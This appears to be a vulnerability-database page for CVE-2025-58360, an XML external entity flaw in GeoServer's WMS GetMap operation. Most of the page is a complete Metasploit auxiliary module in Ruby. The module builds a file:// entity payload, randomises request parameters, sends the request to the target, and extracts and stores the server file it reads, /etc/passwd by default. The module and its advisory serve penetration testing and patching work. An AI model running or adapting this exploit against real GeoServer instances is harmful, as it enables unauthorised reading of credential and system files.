METASPLOIT 9.8 CRITICAL

GeoServer WMS GetMap XXE Arbitrary File Read_MSF:AUXILIARY-GATHER-GEOSERVER_WMS_GETMAP_XXE_FILE_READ-

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This module exploits an XML External Entity XXE vulnerability in GeoServer via the WMS GetMap operation. The vulnerability allows reading arbitrary files from the server's file system by injecting an XXE entity in the SLD Styled Layer Descriptor...
Visit Original Source

Basic Information

ID MSF:AUXILIARY-GATHER-GEOSERVER_WMS_GETMAP_XXE_FILE_READ-
Published Dec 30, 2025 at 18:58

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GeoServer WMS GetMap XXE Arbitrary File Read',
'Description' => %q{
This module exploits an XML External Entity (XXE) vulnerability in GeoServer
via the WMS GetMap operation. The vulnerability allows reading arbitrary files
from the server's file system by injecting an XXE entity in the SLD (Styled Layer Descriptor).

Affected versions:
- GeoServer >= 2.26.0, <= 2.26.1
- GeoServer <= 2.25.5

The file content is returned in the error message when the layer name contains
the XXE entity reference.
},
'License' => MSF_LICENSE,
'Author' => [
'xbow-security', # Vulnerability discovery
'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
'Julien Voisin' # Randomization suggestions
],
'References' => [
['CVE', '2025-58360'],
['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525']
],
'DisclosureDate' => '2025-11-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to GeoServer', '/geoserver']),
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/passwd'])
]
)
end

def build_xxe_payload(file_path)
entity_name = Rex::Text.rand_text_alpha_lower(8)
%(<?xml version="#{rand(2) == 0 ? '1.0' : '1.1'}" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY #{entity_name} SYSTEM "file://#{file_path}">
]>
<StyledLayerDescriptor version="#{rand(2) == 0 ? '1.0.0' : '1.1.0'}">
<NamedLayer><Name>&#{entity_name};</Name></NamedLayer>
</StyledLayerDescriptor>)
end

def build_wms_uri
min_x = rand(-180.0..180.0).round(2)
min_y = rand(-90.0..90.0).round(2)
params = {
'service' => 'WMS',
'version' => ['1.0.0', '1.1.1', '1.3.0'].sample,
'request' => 'GetMap',
'width' => rand(100..500),
'height' => rand(100..500),
'format' => ['image/png', 'image/jpeg', 'image/gif'].sample,
'bbox' => [min_x, min_y, rand(min_x..180.0).round(2), rand(min_y..90.0).round(2)].join(',')
}
"#{normalize_uri(target_uri.path, 'wms')}?#{params.to_a.shuffle.map { |k, v| "#{k}=#{v}" }.join('&')}"
end

def extract_file_content(response_body)
match = response_body.match(%r{Unknown layer:\s*([\s\S]+?)</ServiceException>})
return nil unless match

content = match[1]&.strip
content&.empty? ? nil : content
end

def send_xxe_request
uri = build_wms_uri
print_status("Sending XXE payload to #{uri}")

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/xml',
'data' => build_xxe_payload(datastore['FILEPATH'])
})

fail_with(Failure::Unreachable, 'No response from server') unless res
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Server returned unexpected status code: #{res.code}")
end

res
end

def run
print_status("Attempting to read file: #{datastore['FILEPATH']}")

res = send_xxe_request
file_content = extract_file_content(res.body)

unless file_content
return print_error('XXE exploitation failed - file content not found in response')
end

print_good("Successfully read file: #{datastore['FILEPATH']}")
print_line
print_line(file_content)
print_line

print_good("File saved to: #{store_loot(
'geoserver.file',
'text/plain',
datastore['RHOST'],
file_content,
File.basename(datastore['FILEPATH']),
'File read from GeoServer via XXE (CVE-2025-58360)'
)}")
end

end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.